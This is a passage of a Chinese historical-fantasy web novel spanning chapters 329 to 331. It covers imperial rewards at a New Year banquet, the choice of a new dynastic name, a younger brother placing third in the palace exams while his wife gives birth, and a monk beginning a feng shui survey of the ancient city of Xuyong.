霍凝玉扫过众人,最后看向赵凌哲。
赵凌哲又举了举手里的杯子。
“多谢各位抬爱。”霍凝玉爽快地一饮而尽。
众臣也一饮而尽。
“王婶已是永安王妃,但这个称呼是基于王叔的身份,朕今日特封永安王妃为镇国夫人,地位仅次于朕的母后。”赵凌哲又声音洪亮地宣布。
永安王妃的地位本就仅次于太后,现在又加一个镇国夫人的称号,更是锦上添花。
“臣等拜见镇国夫人。”各朝臣不约而同,当即行了一礼。
“各位大人,快快免礼。”霍凝玉真的被赵凌哲这一册封给震惊到了。
她不过是画了几张图而已,哪就得这么大的荣耀。
“钟离洛听旨。”赵凌哲又一声高喊。
刚刚放下酒杯的钟离洛有点懵。
第329章 霍鹏程的烦恼
他立刻走到殿中央,恭敬跪下。
“忠勇伯钟离洛,忠勇无双,智谋过人。
去岁西凉犯境之时,受命领兵征讨,长途奔袭,破敌于野,攻城于坚。
数月间就攻克到西凉的都城,并收西凉国土入我南楚,其功可表。
今除夕佳节,朕念其功高,特封为定国公,赐金印紫绶,爵位可**罔替。望其不忘初心,再护家国。”
赵凌哲当殿口谕,直接下封。
此言一出,大殿内顿时一片哗然。
钟离洛也一脸震惊。
皇上竟然如此厚赏于他,随即涌起一股难以抑制的激动。
他连忙双手抱拳,恭敬地一叩首。
“臣钟离洛,谢皇上隆恩。臣定当竭尽全力,为我南楚尽忠职守,死而后已。”
“定国公请起。你不必谢朕,你应该谢朕的王婶,如果没有当初她救你,你说不定连命都没了。如果没有王婶发明三弓床**,你未必能这么轻松拿下西凉。”赵凌哲笑着指了指霍凝玉。
“皇上说的是。但臣也同样谢皇上。如果当初没有皇上给臣拿来那些武器让臣练习,臣还不一定能考上武状元。”钟离洛又郑重一礼,才从地上起来。
“哈哈,定国公是个记恩的,朕受了你的谢。”
钟离洛当真来到霍凝玉面前,恭敬地一躬身:“洛多谢王妃救命之恩。”
“表妹夫,我们是一家人,不必言谢。以后对我表妹好点就行了。“霍凝玉连连摆手。
她是带着目的救人,幸好**,要是知道,不定怎么看低她呢。
“王叔,您领兵攻下了北魏,您的功劳不比钟离将军少。
可您已贵为一品亲王,朕不知道怎么赏了。”赵凌哲有些纠结。
“本王是皇室亲王,你我本是一家人,就不说两家话了,赏什么赏?本王什么都不缺。”赵炳煜无所谓地一摆手。
“那不行,朕想了想,当年皇祖父封您王爵时,永安王位可**三代,朕今日就改为**罔替。”赵凌哲其实早就想好了。
“那就多谢皇上了。”赵炳煜站起身,郑重一礼。
这小子,越来越懂事了,知道如何笼络人心,这个赏赐很得他心。
“至于各将士,朕自会**行赏,等各将士还朝后再行论赏。”赵凌哲面面俱到。
“皇上英明。”众朝臣齐声。
宫宴继续,歌舞助兴,朝臣们推杯换盏。
霍凝玉拿起一块小点心喂给儿子。
“凉......”小世子摇着头,手却伸得老长,指着桌上的一个盘子。
盘子里是颜色暗红的糖醋里脊。
“儿子,你叫娘了吗?”霍凝玉感觉耳朵出现幻听了。
“凉,凉,凉.....”小世子开始挣扎起来,手不停挥动,指着那盘糖醋里脊。
“好儿子,娘这就给你夹。”霍凝玉直接把盘子端到面前来。
小家伙居然下五爪去抓。
这么急切。
“哈哈,王婶,你是不知道,弟弟最喜欢吃糖醋里脊,明明咬不动,就喜欢吮那个味道。”赵凌哲看到赵胤煦的动作,取笑。
果然,小家伙并没有抓到东西,但手指上已经沾上了糖醋汁,直接就放进嘴里,享受地吮吸起来。
看得夫妻二人都哭笑不得。
等儿子吮得差不多,霍凝玉才用帕子给他擦干净,再用筷子蘸些糖醋汁让他吮。
儿子有这小喜好,她都不知道,霍凝玉又升起一丝遗憾来。
接连蘸了好几次汁给儿子吮,他才过了把瘾。
这个宫宴,大家都尽兴而归。
个个都在私下讨论起新的国号。
初二,出嫁女回娘家。
霍凝玉早就等不及,一大早就起床准备回门的事。
礼物再检查一遍。
两个孩子要用到的东西都带齐。
赵炳煜练完功回来,就被霍凝玉催着快点吃早膳,吃完就走。
霍鸣昶早就在霍家大门外等着了。
大半年没回过霍府,霍凝玉感觉如几年没回来过似的。
“大姐,你就不能慢点吗?”霍鸣昶看到大姐又是从马车上蹦下来,真是没眼看。
“娘有没有做我最爱吃的?”霍凝玉好久没吃到娘家的饭菜,特别想念。
“当然有,还有姐夫爱吃的也安排了。”
霍鸣昶从赵炳煜手里
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接过一个孩子抱上,一起进府。
两个孩子对霍家人都特别熟悉,一摇一摆扑进霍鹏程和容华芝的怀里。
霍凝玉好久没见小侄子,除夕那晚没带进宫,搞得霍凝玉唯一没见到的亲人就剩这个。
“墨渊,来,姑姑抱抱。”
霍墨渊比赵胤煦兄妹大五个月,对霍凝玉有些印象,而且他已经会说话了。
看到姑姑笑得这么甜美,很给面子地扑过来。
“姑姑!”
“真乖,还记得姑姑。”霍凝玉抱着狠狠亲了两下。
一家人聊了会家常,可惜缺了大哥大嫂。
霍鹏程把夫妻俩叫到书房,霍鸣昶也跟着进来。
“炳煜,你对东临如何看?”霍鹏程直截了当说起正事。
他为此已经纠结了几个月。
他并不贪权,只尽一个臣子的本分做事即可。
可现在大儿媳妇成了一国女皇,大儿子成了女皇的皇夫。
大孙子虽在自己跟前,可说不定哪天连姓都要改了。
他做梦都不敢想的事,却真实发生了。
他想找个人商量一下都找不到。
小儿子无所谓地说顺其自然。老妻说她舍不得大儿子大孙子。
他自己也不知道如何决定。
他最想听听女婿的意见,可女婿又不在。
今日终于有机会,他再也等不了。
“岳父可有收到鸣羡的书信?”赵炳煜不答反问。
“自然有收到,可他只报平安,只说如何助婉仪稳定朝局,其它什么也不说。我本想问,可又问不出口。”霍鹏程感觉头发都要愁白了。
“岳父希望墨渊未来继承东临的皇位吗?”赵炳煜再问。
“这不是我希望不希望的问题。
现在我南楚收归了西凉和北魏,相对来讲,东临就成了弹丸小国。
以后南楚要是兴兵,东临哪有能力抵抗,还不如现在就直接投诚,还能保全一个名声。”
霍鹏程最纠结的问题就在于此。
那可是他的大孙子,他最怕的还不是南楚以后收了东临。
而是最怕大孙子有了野心,就想做东临的皇帝,到时再与南楚为敌。
第330章 不做榜眼公,愿做探花郎
明知抗争不过,非要举全国之力拼个你死我活。
到那时,就真成**奴了。
大孙子就会如现在的北魏皇和西凉皇,过着圈禁一般的生活。
“当时我们还在东临时,姑姑曾提过,要墨渊改姓萧。
但那时,我南楚并没有收复北魏和西凉,姑姑才会提这个要求。
现在我估计姑姑肯定不这样想了。她本就是我南楚的长公主,自然向着南楚。
所以关键还要看表妹。
如果表妹只想做一个相夫教子的内宅妇人,那么她就会主动与我南楚合二为一。
如果她想做女皇,那就要看大哥的能力了。”赵炳煜当然也给不出肯定的答复。
就看大舅哥如何做了。
“我明白了,过了年我就写信给鸣羡,好好探讨一下此事。”霍鹏程豁然开朗。
儿媳妇毕竟是个女人,她要想坐稳女皇的位置,全要依靠大儿子的帮助。
也就是东临的实际掌权人是大儿子。
如果大儿子没有野心,就会看清形势,主动与南楚合二为一。
如果大儿子有野心,不行,绝对不行。
他可不想大儿子大孙子以后没个好下场。
赵炳煜见岳父想明白了,露出淡淡微笑。
霍凝玉和霍鸣昶交换一个了然的眼神。
这一日,霍凝玉在娘家欢欢喜喜待到快天黑才依依不舍离去。
正月初八,皇帝开印。
朝臣们又开始了早朝。
开年第一日,赵凌哲收到的折子只谈一件事。
那就是为新国号起名。
每个人都有自己的想法,名字也起得一个比一个霸气响亮。
经过半个月的讨论和选择,最终定下新的国号。
承乾!
法统承天,乾纲独断。
新朝非继前代余绪,乃承昊天之命,开万世之基。
又改年号为:承乾元年。
时间很快来到三月初,春围开始。
自从赵炳煜发出科考取士增加至三百五十人的政令后,各地的举人纷纷往京城赶。
短短时间,京城各大客栈都住满了人。
贡院临时建了不少考室,以满足突然猛增的考生需求。
霍家的二公子今年也要参加会试。
霍凝玉对此很关注。
万青黛此时已怀孕八个月。
为了不让霍鸣昶分心,霍凝玉过了年就特意把万青黛接到王府来住,好让弟弟一门心思都在学习上。
会试如期举行。
霍鸣昶胸有成竹进场,然后如蔫了的菜叶出场。
这一次如当年接大哥一样,也是霍凝玉与母亲一起去接的人。
万青黛已提前回了霍家,等在二门处。
“夫人,我好累。”霍鸣昶一看到妻子,就有气无力地求心疼。
引得霍凝玉掩嘴轻笑。
刚才在马车上,明明还能滔滔不绝地讲他是如何答题的,一看到青黛立刻就换了一副形象。
“已经给你准备好了洗澡水,快去洗洗,然后就可以睡个昏天暗地了。”万青黛心疼地想要扶他,结果反被霍鸣昶扶住。
看到妻子这么大的肚子,他哪里敢让妻子扶他。
一个月后,会试放榜。
霍凝玉早早就安排人去看榜。
杜管家一得到消息就匆匆来报。
“王妃,亲家二公子会试考了第二名。”杜管家兴奋得嘴角都要裂到耳根。
“真的?太好了,快,准备马车,我要回娘家。”
霍凝玉风风火火带着两个孩子回到霍家。
结果却看到二弟一阵唉声叹气。
“这是怎么了?”霍凝玉不明所以。
“大姐,我可是要考探花的,现在考了个第二名,只能是榜眼。这与我的理想有些差距啊。”霍鸣昶有气无力地显摆。
“哈哈......二弟,第三名听到你这话,他会被你气死。”霍凝玉怎么也想不到二弟会说出这种话。
简直笑死个人。
“可是我听说皇上都喜欢点长得好看的男子为探花。
你看我玉树临风,风流倜傥,妥妥的探花郎人选。
要是得个榜眼算怎么回事?”霍鸣昶继续耍宝。
“谁告诉你皇上喜欢点俊美的男儿为探花的?我记得十二年前,皇上就点了个中年大叔为探花郎。这个是看成绩,而不是看脸。”霍凝玉哭笑不得。
可是最让霍凝玉意想不到的是,一个月后的殿试放榜,她引以为傲的弟弟从第二名落到了第三名,当真成了探花郎。
她站在茶楼窗口,准备观看状元游街,听到小厮看榜后来报二弟的名次时,脸色十分难看。
当霍鸣昶从她所在的楼下经过时,霍凝玉再也忍不住。
“二弟,你是不是故意的?你是想气死我吗?你是不是想挨打?”一看到二弟,她就开骂
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。
“大姐,什么故意的?”霍鸣昶故作没听懂。
而就在这时,门外匆匆跑进来一个丫鬟。
“王妃,二夫人发动了。”正是霍府的丫鬟,特意来通知她。
“什么?”霍凝玉吓一跳,再一转头看到二弟还正望着她。
“二弟,青黛发动了。”霍凝玉故意告诉他,看他是继续游街,还是立刻回去。
霍鸣昶一听,这还了得,当即脱了自己的进士及第服,放到马背上,再把缰绳递给只有半马之距的榜眼。
“李兄,就让这礼服代我游街,我夫人生产,我要马上回家。”
霍鸣昶也风风火火追着霍凝玉的脚步离开了队伍。
榜眼公当然很乐意牵着马继续游街。他本应是探花,这霍兄弟却谦让,最终他成了第二名,这可是千载难得的好事。
匆匆赶回霍府的姐弟俩,一个比一个跑得快。
来到早就准备好的产房外。
“咦,鸣昶,你不是在游街吗?怎么回来了?”容华芝吃惊问道。
今日是儿子的大喜之日,本来她也想去看儿子游街,可想到儿媳妇可能就这两天的日子,她不敢离府。
果然如她所预计的,儿媳妇就在今日发动了。
她只让人去通知女儿,儿子是怎么得到消息的?
“我夫人生产,我能不回来了吗?”霍鸣昶留下这句话就往产房里冲。
结果他冲进去,却只看到一个产婆在里面收拾东西。
他被惊得又立刻转身冲出来。
“娘,青黛呢?”此时他的脸色已经被吓得发青。
“她在园子里走动,还不到生的时候。”容华芝看到儿子那难看的脸色,赶紧说道。
“娘,你怎么不早说,吓死我了。”霍鸣昶拍着胸口,以为青黛怎么了。
他又匆匆跑向霍家的小花园,就看到万二夫人正扶着青黛在慢慢走动。
“夫人!”霍鸣昶刚到园子门口就一声高喊。
而他的声音刚一落,万青黛也跟着痛叫一声。
“怎么了,怎么了?”霍鸣昶风一般跑过来。
“夫君,好疼。”万青黛疼得想要弯腰,可是又弯不下去。
“快,咬我一口。”霍鸣昶袖子一撩,伸到她嘴边。
万青黛当真咬了上去。
霍鸣昶突然发出一声惨叫。
让刚走到园子门口的霍凝玉以为是二弟要生了。
第331章 大师有发现
经过几个时辰的奋战,万青黛于天黑前生下霍家的第一个孙女。
喜得一家人个个都想多抱一会儿。
“我们霍家现在也是孙子孙女都齐全的人家了。”容华芝看着小脸红红的小孙女,脸上的笑容就没收起来过。
想到女儿的前世,霍家被全部问斩,那样的结局再也不可能发生。
她的心比什么时候都安稳幸福。
“凝玉,你多抱抱。胤煦和梦琪已经一岁多了,你们夫妻也可以考虑再生一个了。”容华芝很舍不得地把小孙女轻轻放到霍凝玉怀里。
这话让夫妻二人都怔了怔。
“咳,岳母,我与凝玉还要出一趟远门,等回来再考虑。”赵炳煜轻咳一声,有些尴尬。
“你们要去哪里?”容华芝忽然得到这个消息,有些惊讶。
“我们打算去一趟虎啸山,那里是龙脉之地。
余征已经带兵把那里的匪徒全部收服。
我打算带圆通大师和钦天监沈大人一起去看看。这事非同小可,皇上与我商量,由我亲自去看看更好。”赵炳煜解释。
“你们又想把两个孩子丢在宫里吗?”容华芝好心疼两个外孙和外孙女。
上次一丢下就是大半年。
“这次没有危险,我们把孩子一起带上,顺便长长见识。”霍凝玉怎么舍得再与孩子们分开。
端午过后,霍凝玉就开始准备出门的东西。
这次她想好好游玩一番,之前去东临再出兵北魏,她都没有好好放松地玩过,来去匆匆的。
这回带着孩子,也不用受分离之苦,得好好利用这个机会。
赵凌哲别看只有十岁,在几个肱骨之臣的辅佐下,处理朝政已经有模有样。
赵炳煜这个摄政王完全可以抽身。
五月初十。
从护国寺接了圆通大师,队伍出发。
一路游玩,整整花了三个月才到达之前三国相交、哪国也不管的虎啸山。
每到一个城,霍凝玉都要带着孩子把当地的景物都看一看,再吃一吃当地的小吃。
两个孩子已经会说话,他们想要什么都能表达出来。每天都叽叽喳喳个没完。
虎啸山连绵起伏上百里,不过并不是高山,又比丘陵高一些。
林木郁郁葱葱。
离此最近的府城叫叙永城。
赵炳煜让青雨包下一间客栈,打算住下。
他们刚安顿好,余征就来了。
当时赵炳煜让他带一万兵来收服这里。
他早就完成了任务,中途还回了一趟京,看望妻儿。
王爷要来这里,他又提前出发来此等候。
“王爷,属下建议可以直接住到山里,更方便行事。“余征提议。
他在这里前后有一年多时间,把方圆两百里的地方都走过。
“咱们的一万军队已经在离此约一百里的山涧开了一片地,建了营。
种了各种庄稼,什么吃的都不缺,而且还可以随时进山打个猎,吃些野味。”余征又继续道。
他的话引得霍凝玉意动。
“夫君,这主意不错,与将士们住在一起,又安全,又离山近。
还能让孩子们见识一下各种动物。”霍凝玉很心动。
他们本计划就在叙永城住下,白天去探查,晚上再回来。
“那就先在叙永城住一晚,明日再买些必要的东西,再走。”赵炳煜也觉得这样安排更好。
翌日。
圆通大师休息了一晚,身上的疲乏散去,刚吃过早膳就拿出自己的罗盘,开始观察起来。
沈阔难得与圆通大师天天相处,逮住一切机会就向圆通大师请教学习。
这一路上,沈阔基本把小沙弥要做的事都给抢了。
“大师,可看出什么来了?”沈阔见圆通大师收起罗盘,好奇问道。
昨日进城时,他就感觉到圆通大师神情有变,好似有什么新的发现。
“去,把摄政王和王妃给老衲叫来。”圆通大师淡声吩咐。
现在,他指使起沈大人来,一点不客气。
沈阔得令,立刻去叫人。
霍凝玉也刚把两个孩子收拾好。
几个丫鬟知道圆通大师找主子,很自觉把小世子和小郡主抱出去玩。
两人来到圆通大师的客房里。
“王爷,老衲自昨日进叙永城就有一种很奇怪的感觉。
今日我们先在城里逛逛,
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再找一个最高的地方,我们再好好看看这叙永城。
王妃,你善画,带上纸笔,老衲让你画什么你就画什么。”圆通大师一看到两人就直接说出请他们来的原因。
赵炳煜点了几个护卫,孩子就留在客栈,让丫鬟和奶娘照看着。
圆通大师带着一群人,走上叙永城的大街。
这是一座古城,据史料记载,叙永城已经存在上千年。
几经变迁,岁月的痕迹很明显。
尤其一座石砌的古塔,叫望月塔,听说就有八百多年的历史。
也是叙永城最高的建筑,共九层。
圆通大师手持黄铜罗盘走在青石板路上,罗盘中央的磁针微微颤动,在阳光下折射出细碎的金光。
他每走一段路便停一停,手指沿着罗盘边缘的天干地支刻度缓缓移动,口中念念有词。
沈阔紧跟在他身侧,见磁针在“巽”“坤”两位间游移不定,忍不住低声问:“大师,可是地气有异?”
“非是有异,是太过淳厚。”圆通大师眼里的笑意显而易见。
赵炳煜面露诧异:“大师此话何意?”
“王爷,老衲初步看出,叙永城是个风水宝地,但还需再仔细看看。”圆通大师还没有完全确定。
一行人继续往前,直到走到叙永城最高的望月塔前。
望月塔年代久远,但因为是坚硬的石材所建,这么多年过去,仍然屹立不倒。
不过毕竟时间太长,建筑上的岁月痕迹怎么也掩饰不住。
如风吹日晒的斑驳。雨水冲刷后长出青苔被太阳又晒干留下的污垢等。
圆通大师停在古塔投下的阴影里,抬头望向九重塔檐上悬挂的铜铃。
有风自东南来,铜铃轻响,声波荡开时,罗盘中央的磁针竟稳稳指向塔尖。
“你们听这铃声,清越绵长,余韵不绝,是因塔身筑在了地脉交汇的‘鸣泉穴’上。”
圆通大师大加赞赏。这塔所建的位置真是选得好。
可见当年选址的大师必是一位精通堪舆的大能。
霍凝玉顺着他的目光望去,看见每层塔檐下都雕刻着不同的瑞兽,最顶层是昂首向天的螭吻。